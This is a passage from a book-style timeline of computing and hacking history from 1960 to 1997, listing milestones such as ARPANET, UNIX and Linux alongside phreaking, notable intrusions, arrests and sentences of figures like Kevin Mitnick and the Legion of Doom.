  5237. unreported.This will not be a complete list but a work in progress.
  5238. 1960s
  5239. [1960 Nov] Telephone calls are switched for the first time by computer.
  5240. [1963] Dartmouth College, located in Hanover, New Hampshire, incorporates the introduction to the use of computers as
  5241. a regular part of the Liberal Arts program.
  5242. [1963] ASCII (American Standard Code for Information Interchange) is created, permitting machines from different
  5243. manufacturers to exchange data. ASCII consists of 128 unique strings of ones and zeros.
  5244. [1964] There are approximately 18,200 computer systems in the United States. Over 70% of those computers were
  5245. manufactured by International Business Machines (IBM).
  5246. [1964] Thomas Kurtz and John Kemeny created BASIC (Beginner's All-Purpose Symbolic Instruction Code), an easy- tolearn
  5247. programming language, for their students at Dartmouth College.
  5248. [1967] The Advanced Research Projects Agency (ARPA) work with U.S. computer experts to form a network of Interface
  5249. Message Processors (IMPS). The computers would act as gateways to mainframes at a variety of institutions in the
  5250. United States and provide a major part of what would become the Internet in the years ahead.
  5251. [1969] The Advanced Research Projects Agency (ARPA) originates ARPANET , a service designed to provide efficient
  5252. ways to communicate for scientists. A Cambridge, Massachusetts consulting firm, Bolt Beranek and Newman, who won
  5253. a ARPA contract to design and build a network of Interface Message Processors (IMPS) the year prior, ships (Sept) the
  5254. first unit to UCLA and ships (Oct) the second unit to Stanford Research Institute. IMPS act as gateways to mainframes at
  5255. a variety of institutions in the United States. Within a few days of delivery, the machine at UCLA and Stanford link up for
  5256. the first time and ARPANET is founded. Later the network expands to four nodes. The first four nodes (networks)
  5257. consisted of the, University of California Los Angeles, University of California Santa Barbara, University of Utah and the
  5258. Stanford Research Institute. This system would evolve to be known as the Internet or the Information Super Highway.
  5259. [1969] Intel makes the announcement of a much larger RAM chip. It boasts of a 1KB capacity.
  5260. [1969] Ken L. Thompson , Dennis M. Ritchie and others start working on the UNIX operating system at Bell Labs (later
  5261. AT&T). UNIX was designed with the goal of allowing several users to access the computer simultaneously.
  5262. [1969] The first computer hackers emerge at MIT. They borrow their name from a term to describe members of a model
  5263. train group at the school who "hack" the electric trains, tracks, and switches to make them perform faster and differently.
  5264. A few of the members transfer their curiosity and rigging skills to the new mainframe computing systems being studied
  5265. and developed on campus.
  5266. [1969] Joe Engressia ('The Whistler', 'Joybubbles' and 'High Rise Joe') considered the father of phreaking. Joe, who is
  5267. blind, was a mathematics student at USF in the late 1960s when he discovered that he could whistle into a pay
  5268. telephone the precise pitch --the 2600- cycle note, close to a high A- - that would trip phone circuits and allow him to
  5269. make long-distance calls at no cost.
  5270. 1970s
  5271. [1970] An estimated 100,000 computer systems are in use in the United States.
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  5274. Page 238
  5275. [1970] Digital Equipment Corporation (DEC) introduces the famous PDP- 11, which is considered to be one of the best
  5276. designed minicomputers ever, and many of the machines are still used today. Some of the best computer hackers in the
  5277. world cut their teeth on -11's.
  5278. [1971] The first personal computer, the Kenback , is advertised in the September issue of Scientific American.
  5279. [1971] John Draper ('Cap'n Crunch') learns that a toy whistle given away inside Cap'n Crunch cereal generates a 2600-
  5280. hertz signal, the same high-pitched tone that accesses AT&T's long-distance switching system. Draper builds a blue box
  5281. that, when used in conjunction with the whistle and sounded into a phone receiver, allows phreakers to make free calls.
  5282. [1971] Esquire magazine publishes Secrets of the Little Blue Box with instructions for making a blue box, and wire fraud
  5283. in the United States escalates. Among the perpetrators: college kids Steve Wozniak and Steve Jobs, future founders of
  5284. Apple Computer, who launch a home industry making and selling blue boxes .
  5285. [1971] First e-mail program written by Ray Tomlinson and used on ARPANET which now has 64 nodes. Tomlinson of
  5286. Bolt Beranek and Newman, contracted by the Advanced Research Projects Agency (ARPA) to create the ARPANET ,
  5287. selects the @ symbol to separate user names in e-mail as the first e-mail messages are sent between computers.
  5288. [1972 May] John Draper arrested for phone phreaking and sentenced to four months in California's Lompoc prison.
  5289. [1973] Intel ’ s chairman, Gordon Moore, publicly reveals the prophecy that the number of transistors on a microchip will
  5290. double every year and a half. Moore ’s Law will hold true for more than twenty years.
  5291. [1975] About 13,000 cash dispensing Automatic Teller Machines (ATM) are installed.
  5292. [1975] Atari, Inc. ’s home version of PONG begins selling at 900 Sears and Roebuck stores under the Sears ’
  5293. Telegames brand.
  5294. [1975 Aug] William Henry Gates, III (Bill Gates) and Paul Allen found Microsoft .
  5295. [1976] David R. Boggs and Robert M. Metcalfe invent Ethernet at Xerox in Palo Alto, California.
  5296. [1976 Apr] Stephen Wozniak, Steven Paul Jobs and Ron Wayne sign an agreement that founds Apple Computer on April
  5297. 1.
  5298. [1977 Aug 3] The TRS- 80 ('Trash- 80') Model I offered to the public and becomes the first desktop computer.
  5299. [1977 Dec] The Atari 2600 is selling for $199.95 and includes one game and two controllers.
  5300. [1978] Bill Joy produces first Berkeley Software Distribution (BSD) of UNIX.
  5301. [1978] There are an estimated 5,000 desktop computers in use within the United States.
  5302. [1978] Kevin David Mitnick ('Condor') meets phone phreak Lewis De Payne ('Roscoe') of Roscoe gang while harassing a
  5303. HAM radio operator on the air in Southern California.
  5304. [1979] The C Programming Language by Brian W. Kernighan and Dennis M. Ritchie is published.
  5305. [1979 Jun] The Apple II+ with 48K RAM and a new “auto- start” ROM is introduced by Apple Computer for $1,195.
  5306. 1980s
  5307. [1980] There is an estimated 350,000 computer terminals "networked" with larger "host" computers.
  5308. [1980] Nintendo, Ltd. releases Donkey Kong as a coin-operated arcade game.
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  5312. [1980] Usenet is born, networking UNIX machines over slow phone lines. Usenet eventually overruns ARPANET as the
  5313. virtual bulletin board of choice for the emerging hacker nation.
  5314. [1980 Dec] Roscoe Gang, including Kevin Mitnick , invade computer system at US Leasing.
  5315. [1981] Kenji Urada, 37, becomes the first reported death caused by a robot. A self-propelled robotic cart crushed him as
  5316. he was trying to repair it in a Japanese factory. :-)
  5317. [1981] Commodore Business Machines starts shipping the VIC- 20 home computer. It features a 6502 microprocessor, 8
  5318. colors and a 61-key keyboard. Screen columns are limited to 22 characters. The product is manufactured in West
  5319. Germany and sells in the U.S. for just under $300.
  5320. [1981 Jul] Microsoft acquires complete rights to Seattle Computer Product ’ s DOS and names itMS-DOS.
  5321. [1981] Ian Murphy ('Captain Zap') was the first hacker to be tried and convicted as a felon. Murphy broke intoAT&T's
  5322. computers and changed the internal clocks that metered billing rates. People were getting late-night discount rates when
  5323. they called at midday.
  5324. [1981 May 23] Kevin Mitnick, 17, is arrested for stealing computer manuals from Pacific Bell's switching center in Los
  5325. Angeles, California. He will be prosecuted as a juvenile and sentenced to probation.
  5326. [1981 May 28] First mention of Microsoft on Usenet.
  5327. [1982] There are an estimated 3 million computer terminals "networked" with larger "host" computers. Also, there are an
  5328. estimated number of 5 million desktop computers in use within the United States. More than 100 companies make
  5329. personal computers.
  5330. [1982] Sun Microsystems , Inc. is founded by four 27-year-old men; Andreas von Bechtolsheim, Vinod Khosla, Scott
  5331. McNealy and Bill Joy.
  5332. [1982] As hacker culture begins to erode, losing some of its brightest minds to commercial PC and software start-ups,
  5333. Richard Stallman starts to develop a free clone of UNIX, written in C, that he calls GNU (for Gnu's Not Unix).
  5334. [1982] Lewis De Payne ('Roscoe') pleas guilty to conspiracy and fraud. Sentence: 150 days in jail. Accomplice gets
  5335. thirty. Mitnick gets ninety day diagnostic study by juvenile justice system, plus a year probation.
  5336. [1982] Kevin Mitnick cracks Pacific Telephone system and TRW; destroys data.
  5337. [1982] William Gibson coins term "cyberspace."
  5338. [1982] '414 Gang' phreakers raided. '414 Private' BBS was where the '414 Gang' would exchange information while
  5339. breaking into systems of Sloan- Kettering Cancer Center and Los Alamos military computers.
  5340. [1982 Aug] Commodore ships the Commodore 64 computer and enters more than one million homes during this first
  5341. year. The C-64 was the first home computer with a standard 64K RAM. With an suggested retail price of $595, it was
  5342. considered a huge value. It included a keyboard, CPU, graphics and sound chips.
  5343. [1982 Sep 19] Scott E. Fahlman typed the first on- line smiley, :-)
  5344. [1983] The Internet is formed when ARPANET is split into military and civilian sections.
  5345. [1983] The movie WarGames is released, Matthew Broderick plays a computer whiz kid who inadvertently initiates the
  5346. countdown to World War III.
  5347. [1983] Plovernet BBS (Bulletin Board System) was a powerful East Coast pirate board that operated in both New York
  5348. and Florida. Owned and operated by teenage hacker 'Quasi Moto', Plovernet attracted five hundred eager users in 1983.
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  5352. Eric Corley ('Emmanuel Goldstein') was one- time co-sysop of Plovernet, along with 'Lex Luthor', who would later found
  5353. the phreaker/hacker group, Legion of Doom.
  5354. [1983 Sep 22] Kevin Poulsen ('Dark Dante') and Ron Austin are arrested for breaking into the ARPANET . At 17 Poulsen
  5355. is not prosecuted and Austin receives 3 years probation.
  5356. [1983 Sep 27] Richard Stallman makes the first Usenet announcement about GNU.
  5357. [1983 Nov 12] First mention of Microsoft Windows on Usenet.
  5358. [1984] Andrew Tanenbaum writes the first version of Minix, a UNIX intended for educational purposes. Minix later gave
  5359. Linus Torvalds the inspiration to start writing Linux .
  5360. [1984] The University of California at Berkeley released version 4.2BSD which included a complete implementation of
  5361. the TCP/IP networking protocols. Systems based on this and later BSD releases provided a multi-vendor networking
  5362. capability based on Ethernet networking.
  5363. [1984] Bill Landreth ('The Cracker') is convicted of breaking into some of the most secure computer systems in the
  5364. United States, including GTE Telemail's electronic mail network, where he peeped at NASA Department of Defense
  5365. computer correspondence. In 1987 Bill violated his probation and was back in jail finishing his sentence. Bill also
  5366. authored an interesting read titled 'Out of the Inner Circle'.
  5367. [1984] Legion of Doom formed. Legion of Doom, a hacker group which operated in the United States in the late 1980's.
  5368. The group's wide ranging activities included diversion of telephone networks, copying proprietary information from
  5369. companies and distributing hacking tutorials. Members included: 'Lex Luther' (founder), Chris Goggans ('Erik Bloodaxe'),
  5370. Mark Abene ('Phiber Optik'), Adam Grant ('The Urvile'), Franklin Darden ('The Leftist'), Robert Riggs ('The Prophet'),
  5371. Loyd Blankenship ('The Mentor'), Todd Lawrence ('The Marauder), Scott Chasin ('Doc Holiday'), Bruce Fancher ('Death
  5372. Lord'), Patrick K. Kroupa ('Lord Digital'), James Salsman ('Karl Marx'), Steven G. Steinberg ('Frank Drake'), Corey A.
  5373. Lindsly ('Mark Tabas'), 'Agrajag The Prolonged', 'King Blotto', 'Blue Archer', 'The Dragyn', 'Unknown Soldier', 'Sharp
  5374. Razor', 'Doctor Who', 'Paul Muad'Dib', 'Phucked Agent 04', 'X-man', 'Randy Smith', 'Steve Dahl, 'The Warlock', 'Terminal
  5375. Man', 'Silver Spy', 'The Videosmith', 'Kerrang Khan', 'Gary Seven', 'Bill From RNOC', 'Carrier Culprit', 'Master of Impact',
  5376. 'Phantom Phreaker', 'Doom Prophet', 'Thomas Covenant', 'Phase Jitter', 'Prime Suspect', 'Skinny Puppy' and 'Professor
  5377. Falken'.
  5378. [1984] 2600: The Hacker Quarterly founded by Eric Corley ('Emmanuel Goldstein').
  5379. [1984 Jun 19] The X Window System is released by Robert W. Scheifler.
  5380. [1985] Hacker 'zine Phrack is first published by Craig Neidorf ('Knight Lightning') and Randy Tischler ('Taran King').
  5381. [1985 May 24] Date of incorporation under original founding name, Quantum Computer Services (America Online).
  5382. [1986] The Congress passes Computer Fraud and Abuse Act. The law, however, does not cover juveniles.
  5383. [1986] The german hacker group, Chaos Computer Club, hacked information about the german Nuclear Power Program
  5384. from government computers during the Chernobyl crisis.
  5385. [1986 Jan 8] Legion of Doom/H member Loyd Blankenship ('The Mentor') is arrested around this time. He publishes a
  5386. now- famous treatise that comes to be known as the Hacker's Manifesto.
  5387. [1986 Feb 26] The Phoenix Fortress BBS issues warrants for the arrest and confiscation of the equpment of 7 local
  5388. users in Fremont, CA. The Sysop turns out to be a local law enforcement agent and the Phoenix Fortress created to
  5389. catch hackers and software pirates.
  5390. [1986 Sep 1] An unknown suspect or group of suspects using the code name Pink Floyd repeatedly accessed the UNIX
  5391. and Portia computer systems at Stanford University without authorization. Damage was estimated at $10,000.
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  5394. Page 241
  5395. [1986 Aug] In August, while following up a 75 cent accounting error in the computer logs at the Lawrence Berkeley Lab
  5396. at the University of California, Berkeley, network manager Clifford Stoll uncovers evidence of hackers at work. A yearlong
  5397. investigation results in the arrest of the five german hackers responsible.
  5398. [1987 Sep 14] It's disclosed publicly that young german computer hackers calling themselves the Data Travellers,
  5399. managed to break into NASA network computers and other world-wide top secret computer installations.
  5400. [1987 Nov 23] Chaos Computer Club hacks NASA's SPAN network.
  5401. [1987 Dec] Kevin Mitnick invades systems at Santa Cruz Operation. Mitnick sentenced to probabtion for stealing
  5402. software from SCO, after he cooperates by telling SCO engineers how he got into their systems.
  5403. [1988 Jun] The U.S. Secret Service (USSS) secretly videotapes the SummerCon hacker convention.
  5404. [1988 Nov 2] Robert T. Morris, Jr., a graduate student at Cornell University and son of a chief scientist at a division of the
  5405. National Security Agency (NSA), launches a self- replicating worm on the government's ARPANET (precursor to the
  5406. Internet) to test its effect on UNIX systems. The worm gets out of hand and spreads to some 6,000 networked
  5407. computers, clogging government and university systems. Morris is dismissed from Cornell, sentenced to three years
  5408. probation and fined $10,000.
  5409. [1988 Nov 3] First mention of the Morris worm on Usenet.
  5410. [1988 Dec] Legion of Doom hacker Robert Riggs ('The Prophet') cracks BellSouth AIMSX computer network and
  5411. downloads E911 document (describes how the 911 emergency phone system works). Riggs sends a copy toPhrack
  5412. editor Craig Neidorf ('Knight Lightning'). Both Craig and Robert are raided by Federal authorities and later indicted. The
  5413. indictment said the "computerized text file" was worth $79,449, and a BellSouth security official testified at trial it was
  5414. worth $24,639. The trial began on July 23, 1990 but the proceedings unexpectedly ended when the government asked
  5415. the court to dismiss all the charges when it was discovered that the public could call a toll- free number and purchase the
  5416. same E911 document for less than $20.
  5417. [1988 Dec 16] 25-year-old computer hacker Kevin Mitnick is held without bail on charges that include stealing $1 million
  5418. in software from DEC (Digital Equipment Corporation), including VMS source code, and causing that firm $4 million in
  5419. damages.
  5420. [1989] 22-year-old computer hacker and ex-LOD member Corey Lindsly ('Mark Tabas') pleaded guilty to felony charges
  5421. relating to using a computer to access US West's system illegally, which resulted in five years probation. [see also 1995
  5422. Feb. 'Phonemasters']
  5423. [1989] At the Cern laboratory for research in high-energy physics in Geneva, Tim Berners- Lee and Robert Cailliau
  5424. develop the protocols that will become the world wide web.
  5425. [1989 Jan 23] Herbert Zinn ('Shadowhawk'), a high school dropout, was the first to be convicted (as a juvenile) under the
  5426. Computer Fraud and Abuse Act of 1986. Zinn was 16 when he managed to break into AT&T and Department of Defense
  5427. systems. He was convicted on January 23, 1989, of destroying $174,000 worth of files, copying programs valued at
  5428. millions of dollars, and publishing passwords and instructions on how to violate computer security systems. Zinn was
  5429. sentenced to nine months in prison and fined $10,000.
  5430. [1989 May] A task force in Chicago raids and arrests an alleged computer hacker known as 'Kyrie'.
  5431. [1989 Jun] An underground group of hackers known as the NuPrometheus League distributes proprietary software
  5432. illegally obtained from Apple Computer .
  5433. [1989 Jul 21] Known as the "Atlanta Three" case, 3 members of the LOD/H (Legion of Doom) where charged with hacking
  5434. into Bell South's Telephone (including 911) Networks - possessing proprietary BellSouth software and Information,
  5435. unauthorized intrusion, illegal possession of phone credit card numbers with intent to defraud, and Conspiracy. The three
  5436. hackers where: Franklin Darden ('The Leftist'), Adam Grant ('The Urvile' and 'Necron 99'), Robert Riggs ('The Prophet').
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  5440. [1989 Jun 22] 'Fry Guy', a 16-year-old in Elmwood, Indiana cracks into McDonald's mainframe on the Sprint Telenet
  5441. system. One act involved the young hacker altering phone switches so that calls to a Florida county probation
  5442. department would ring at a New York phone- sex line answered by "Tina." On September 14 1990, he was sentenced to
  5443. forty- four months probation and four hundred hours community service.
  5444. 1990s
  5445. [1990] Electronic Frontier Foundation is formed by Mitch Kapor and John Perry Barlow in part to defend the rights of
  5446. those investigated for alleged computer hacking.
  5447. [1990] Kevin Poulsen's now- infamous incident with KIIS-FM in Los Angeles. In 1990 the station ran the "Win a Porsche
  5448. by Friday" contest, with a $50,000 Porsche given to the 102nd caller. Kevin and his associates, stationed at their
  5449. computers, seized control of the station's 25 telephone lines, blocking out all calls but their own. Then he dialed the
  5450. 102nd call -- and later collected his Porsche 944.
  5451. [1990 Jan 15] AT&T's long-distance telephone switching system crashed. During the nine long hours of frantic effort that
  5452. it took to restore service, some seventy million telephone calls went uncompleted. Hackers where first suspected of
  5453. causing the crash but later AT&T engineers discovered the "culprit" was a bug in AT&T's own software.
  5454. [1990 Jan 18] Chicago task force raids an alleged computer hacker Craig Neidorf ('Knight Lightning') in St. Louis.
  5455. [1990 Feb] U.S. Secret Service raid an alleged computer hacker Len Rose ('Terminus') in Maryland. Len somehow got
  5456. his hands on System V 3.2 AT&T Unix Source Code, including the source login.c
  5457. [1990 Feb 21] Chicago Task Force raids the home of Robert Izenberg, an alleged computer hacker in Austin.
  5458. [1990 Mar 1] Chicago task force raids Steve Jackson Games, Inc. Reportedly, workers Loyd Blankenship ('The Mentor') and
  5459. Chris Goggans ('Erik Bloodaxe'), had ties to a hacker group (LOD) that the Justice Department was investigating.
  5460. Finding a rulebook to a game called G.U.R.P.S. CYBERPUNK , raiders interpreted the findings as a tutorial on computer
  5461. hacking and proceeded to seize equipment and documents found at the site. Steve Jackson Games, Inc. prevailed in an
  5462. ensuing legal battle, however their equipment was never returned in its entirety.
  5463. [1990 May 7] May 7 through Wednesday, May 9, the United States Secret Service and the Arizona Organized Crime and
  5464. Racketeering Bureau implement Operation Sundevil computer hacker raids in Cincinnati, Detroit, Los Angeles, Miami,
  5465. Newark, Phoenix, Pittsburgh, Richmond, Tucson, San Diego, San Jose and San Francisco.
  5466. [1990 Mar 7] A 24 year-old Denver man, Richard G. Wittman Jr., has admitted breaking into aNASA computer system.
  5467. In a plea bargain, Wittman plead guilty to a single count of altering information - a password inside a federal computer.
  5468. [1990 Apr] Between April 1990 and May 1991, computer hackers from the Netherlands penetrated 34DOD sites. At
  5469. many of the sites, the hackers had access to unclassified, sensitive information on such topics as military personnel- -
  5470. personnel performance reports, travel information, and personnel reductions; logistics- -descriptions of the type and
  5471. quantity of equipment being moved; and weapons systems development data.
  5472. [1990 May] At least four British clearing banks are being blackmailed by a mysterious group of computer hackers who
  5473. have broken into their central computer systems. The hackers demanded substantial sums of money in return for showing
  5474. the banks how their systems where penetrated. One computer expert described their level of expertise and knowledge of
  5475. the clearing bank computer systems as "truly frightening".
  5476. [1991] The Internet, having been established to link the military and educational institutions banned access to businesses.
  5477. That ban is lifted this year.
  5478. [1991] Rumors circulate about the Michelangelo virus, a program expected to crash computers on March 6, 1992, the
  5479. artist's 517th birthday. Doomsday passes without much incident.
  5480. [1991 Feb] DOS version of AOL released.
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  5484. [1991 Apr 11] Kevin Poulsen ('Dark Dante') arrested for breaking into Pacific Bell phone systems.
  5485. [1991 Jul] Justin Petersen ('Agent Steal' and 'Eric Heinz') arrested for breaking into TRW, stealing credit cards.
  5486. [1991 Aug 6] Tim Berners- Lee's Usenet announcement of the World Wide Web project.
  5487. [1991 Sep] Justin Petersen released from prison to help FBI track hacker Kevin Mitnick .
  5488. [1991 Sep 17] Linus Torvalds publicly releases Linux version 0.01. While a computer science student at the University of
  5489. Helsinki Linus created the Linux operating. Linus originally named his operating system Freax.
  5490. [1991 Oct 5] Linus Torvalds decides to announce the availability of a free minix- like kernel called Linux on Usenet.
  5491. [1992] Masters of Deception (MOD) phone phreakers busted via wiretaps.
  5492. [1992] Morty Rosenfeld convicted after hacking into TRW, stealing credit card numbers and selling credit reports.
  5493. [1992 Jan 29] Minix creator, Andy Tanenbaum, posts the infamous LINUX is obsolete newsgroup posting on
  5494. comp.os.minix. Later, Linux creator Linus Torvalds quickly responds to the posting.
  5495. [1992 Nov] Kevin Mitnick cracks into California Department of Motor Vehicles.
  5496. [1993 Mar 1] Microsoft releases Windows NT.
  5497. [1993 Jun] Slackware , by Patrick Volkerding, becomes the first commercial standalone distribution of Linux .
  5498. [1993 Jul 9] The first Def Con hacking conference takes place in Las Vegas. The conference is meant to be a one- time
  5499. party to say good- bye to BBSs (now replaced by the Web), but the gathering is so popular it becomes an annual event.
  5500. [1993 Aug] Justin Petersen arrested for stealing computer access equipment.
  5501. [1993 Oct 28] Randal Schwartz uses Crack at Intel to crack passwords, later found guilty under an Oregon computer
  5502. crime law, and sentenced.
  5503. [1993 Dec] FreeBSD version 1.0 is released.
  5504. [1994] Red Hat is founded.
  5505. [1994] Linux 1.0 is released.
  5506. [1994 Jan 12] Mark Abene ('Phiber Optik') starts his one year sentence. As a founding member of the Masters of
  5507. Deception , Mark inspired thousands of teenagers around the country to "study" the internal workings of our nation's
  5508. phone system. A federal judge attempted to "send a message" to other hackers by sentencing Mark to a year in federal
  5509. prison, but the message got garbled: Hundreds of well-wishers attended a welcome- home party in Mark's honor at a
  5510. Manhattan Club. Soon after, New York magazine dubbed him one of the city's 100 smartest people. Other MOD
  5511. members: Elias Ladopoulos ('Acid Phreak'), Paul Stira ('Scorpion'), John Lee ('Corrupt'), Allen Wilson ('Wing'), 'The
  5512. Seeker', 'HAC', 'Red Knight', 'Lord Micro' and Julio Fernandez ('Outlaw').
  5513. [1994 Mar 23] 16-year-old music student Richard Pryce ('Datastream Cowboy') is arrested and charged with breaking
  5514. into hundreds of computers including those at the Griffiths Air Force base, NASA and the Korean Atomic Research
  5515. Institute. The Times of London reported that knowing he was about to be arrested, Richard "curled up on the floor and
  5516. cried." Pryce later pled guilty to 12 hacking offenses and fined $1,800. Later, Matthew Bevan ('Kuji'), mentor to Pryce
  5517. was finally tracked down and arrested. The charges against Bevan were later dropped and now he works as a computer
  5518. security consultant.
  5519. [1994 Jun 13] Vladimir Levin, a 23-year-old, led a Russian hacker group in the first publicly revealed international bank
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  5523. robbery over a network. Stealing around 10 million dollars from Citibank , which claims to have recovered all but
  5524. $400,000 of the money. Levin was later caught and sentenced to 3 years in prison.
  5525. [1994 Aug] Justin Petersen electronically steals $150k from Heller Financial.
  5526. [1994 Sep] Netcom's (bought by MindSpring, MindSpring then bought by Earthlink) credit card database was on- line and
  5527. accessible to the unauthorized.
  5528. [1994 Dec 25] Kevin Mitnick (supposedly) cracks into Tsutomu Shimomura's computers. Mitnick was first suspected of
  5529. hacking into Tsutomu's computers in 1994 but an unknown Israeli hacker (friend to Mitnick) was later suspected. The
  5530. Israeli hacker was thought to be looking for the Oki cell phone disassembler written by Shimomura and wanted by
  5531. Mitnick.
  5532. [1995 Jan 27] Kevin Mitnick cracks into the Well ; puts Shimomura's files and Netcom (bought by MindSpring, MindSpring
  5533. then bought by Earthlink) credit card numbers there.
  5534. [1995 Feb] Ex-LOD member, Corey Lindsly ('Mark Tabas') was the major ringleader in a computer hacker organization,
  5535. known as the 'Phonemasters', whose ultimate goal was to own the telecommunications infrastructure from coasttocoast.
  5536. The group penetrated the systems of AT&T , British Telecom., GTE, MCI WorldCom, Sprint , Southwestern Bell
  5537. and systems owned by state and federal governmental agencies, to include the National Crime Information Center
  5538. (NCIC) computer. They broke into credit- reporting databases belonging to Equifax Inc. and TRW Inc. They entered
  5539. Nexis/Lexis databases and systems of Dun & Bradstreet . They had access to portions of the national power grid, airtrafficcontrol
  5540. systems and had hacked their way into a digital cache of unpublished phone numbers at theWhite House .
  5541. A federal court granted the FBI permission to use the first ever "data tap" to monitor the hacker's activities. These
  5542. hackers organized their assaults on the computers through teleconferencing and utilized the encryption program PGP to
  5543. hide the data which they traded with each other. On Sep. 16 1999 Corey Lindsly, age 32, of Portland, Oregon, was
  5544. sentenced to forty-one months imprisonment and ordered to pay $10,000 to the victim corporations. Other
  5545. 'Phonemasters' members: John Bosanac ('Gatsby') from San Diego, Calvin Cantrell ('Zibby') and Brian Jaynes both
  5546. located in Dallas, Rudy Lombardi ('Bro') in Canada, Thomas Gurtler in Ohio. Calvin Cantrell, age 30, of Grand Prairie,
  5547. Texas, was sentenced to two years imprisonment and ordered to pay $10,000 to the victim corporations. John Bosanac
  5548. got 18 months.
  5549. [1995 Feb 15] Kevin Mitnick arrested and charged with obtaining unauthorized access to computers belonging to
  5550. numerous computer software and computer operating systems manufacturers, cellular telephone manufacturers,
  5551. Internet
  5552. Service Providers, and educational institutions; and stealing, copying, and misappropriating proprietary computer
  5553. software from Motorola , Fujitsu , Nokia, Sun , Novell , and NEC. Mitnick was also in possession of 20,000 credit card
  5554. numbers.
  5555. [1995 Mar 18] SATAN (Security Administrator Tool for Analyzing Networks) security tool released to the Internet byDan
  5556. Farmer and Wietse Venema . The release stirs huge debate about security auditing tools being given to the public.
  5557. [1995 May 5] Chris Lamprecht ('Minor Threat') becomes 1st person banned from Internet. Chris was sentenced for a
  5558. number of crimes to which he pled guilty. The crimes involved the theft and sale of Southwestern Bell circuit boards. In
  5559. the early 1990s Chris wrote a program called ToneLoc (Tone Locator), a phone dialing program modeled on the program
  5560. Matthew Broderick used in the movie WarGames to find open modem lines in telephone exchanges.
  5561. [1995 Aug 16] French student Damien Doligez cracks 40-bit RC4 encryption. The challenge presented the encrypted
  5562. data of a Netscape session, using the default exportable mode, 40-bit RC4 encryption. Doligez broke the code in eight
  5563. days using 112 workstations.
  5564. [1995 Sep 11] 22-year-old Golle Cushing ('Alpha Bits') arrested for selling credit card and cell phone info.
  5565. [1995 Sep 17] Ian Goldberg and David Wagner broke the pseudo- random number generator of Netscape Navigator 1.1.
  5566. They get the session key in a few hours on a single workstation.
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  5570. [1995 Nov 15] On November 15, Christopher Pile becomes the first person to be jailed for writing and distributing a
  5571. computer virus. Pile, who called himself the 'Black Baron', was sentenced to 18 months in jail.
  5572. [1996] The internet now has over 16 million hosts and is growing rapidly.
  5573. [1996] Icanet, a company that designed Internet sites for public schools, was threatened by an extortionist in Germany.
  5574. The deal: If Icanet agreed to buy his computer security program for $30,000, the hacker would not devastate the
  5575. company's computers. In April, Andy Hendrata, a 27-year-old Indonesian computer science student in Germany, was
  5576. convicted of computer sabotage and attempted extortion. He received a one- year suspended sentence and was fined
  5577. $1,500.
  5578. [1996] The U.S. General Accounting Office reports that hackers attempted to break into Defense Department computer
  5579. files some 250,000 times in 1995 alone. About 65 percent of the attempts were successful, according to the report.
  5580. [1996 Mar 6] United Press International (UPI) reveals that a hacker called 'u4ea' and also known as 'el8ite', 'eliteone',
  5581. 'el8' and 'b1ff' on- line has been threatening to crash systems at the Boston Herald newspaper and several Internet
  5582. Service providers in the Boston, Massachusetts area. Reports indicate that the hacker may have covertly entered up to
  5583. 100 Internet sites and desytroyed files on many of them. An investigation is initiated by the NYPD Computer Crimes
  5584. section.
  5585. [1996 Apr 4] According to prosecutors, 19-year-old Christopher Schanot of St. Louis, Missouri, hacked into national
  5586. computer networks, military computers, and the TRW and Sprint credit reporting service.
  5587. [1996 Apr 5] 19-year-old Christopher Schanot ('N00gz') a St. Louis honor student indicted in Philadelphia for computer
  5588. fraud, illegal wiretapping, unauthorized access to many corporate and government computers includingSouthwestern
  5589. Bell, BELLCORE, Sprint , and SRI .
  5590. [1996 Apr 19] Hackers break into the NYPD’ s phone system and change the taped message that greeted callers. The
  5591. new message said, "officers are too busy eating doughnuts and drinking coffee to answer the phones." It directed callers
  5592. to dial 119 in an emergency.
  5593. [1996 Jul 5] First known Excel virus, called Laroux is found.
  5594. [1996 Jul 31] Tim Lloyd plants software time bomb at Omega Engineering in NJ; First federal computer sabotage case.
  5595. The software time bomb destroyed the company's computer network and the global manufacturer's ability to
  5596. manufacture in the summer of 1996. The attack caused the company $12 million in losses and cost 80 employees their
  5597. jobs. Lloyd received 41 months in jail. He also was ordered to pay more than $2 million in restitution.
  5598. [1996 Aug 22] Eric Jenott , a Fort Bragg, NC paratrooper is accused of hacking U.S. Army systems and furnishing
  5599. passwords to a citizen of communist China. Eric's attorney says the Fort Bragg soldier is just a computer hacker who
  5600. tested the strength of a supposedly impenetrable computer system, found a weakness and then told his superiors about
  5601. it. Eric was later cleared of the spy charges, but found guilty of damaging government property and computer fraud.
  5602. [1996 Sep] Johan Helsingius closes penet.fi. Penet.fi, the world's most popular anonymous remailer, was raided by the
  5603. Finnish police in 1995 after the Church of Scientology complained that a penet.fi customer was posting the church's
  5604. secrets on the Net. Helsingius closed the remailer after a Finnish court ruled he must reveal the customer's real e-mail
  5605. address.
  5606. [1996 Sep 6] DoS attack against Panix.com, a New York- based ISP. An attacker used a single computer to send
  5607. thousands of copies of a simple message that computers use to start a two-way dialog. The Panix machines receiving
  5608. the messages had to allocate so much computer capacity to handle the dialogs that they used up their resources and
  5609. were disabled.
  5610. [1996 Sep 25] Kevin Mitnick indicted for damaging computers at USC. Mitnick was charged with 14 counts of wire fraud,
  5611. arising from his alleged theft of proprietary software from manufacturers. The charges also accuse him of damaging
  5612. USC's computers and "stealing and compiling" numerous electronic files containing passwords.
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  5616. [1997] AOHell is released, a freeware application that allows a burgeoning community of unskilled hackers -- or script
  5617. kiddies -- to wreak havoc on America Online (AOL).
  5618. [1997 Jan 28] Ian Goldberg , a University of California-Berkeley graduate student, took on RSA Data Security's challenge
  5619. and cracked the 40-bit code by linking together 250 idle workstations that allowed him to test 100 billion possible "keys"
  5620. per hour. In three and a half hours Goldberg had decoded the message, which read, "This is why you should use a
  5621. longer key."
  5622. [1997 Feb 5] Members of the Chaos Computer Club, the infamous hacking elite of Germany, demonstrated an ActiveX
  5623. hacking program that allowed them to access copies of Quicken , the accounting software package from Intuit, and
  5624. transfer money between bank accounts, without needing to enter the normal password security systems of Quicken.
  5625. [1997 Mar 10] Hacker named 'Jester' has the first federal charges brought against a juvenile for a computer crime.
  5626. 'Jester' cuts off the FAA tower at Worcester Airport and sentenced to paying restitution to the telephone company and
  5627. complete 250 hours of community service.
  5628. [1997 Apr 21] A hacker named 'Joka' managed to trick America Online to briefly shut down a site run by the Texas
  5629. branch of the Ku Klux Klan, forcing the AOL to act, for security reasons, after it had declined to do so in response to
  5630. widespread criticism that the site contains offensive material.
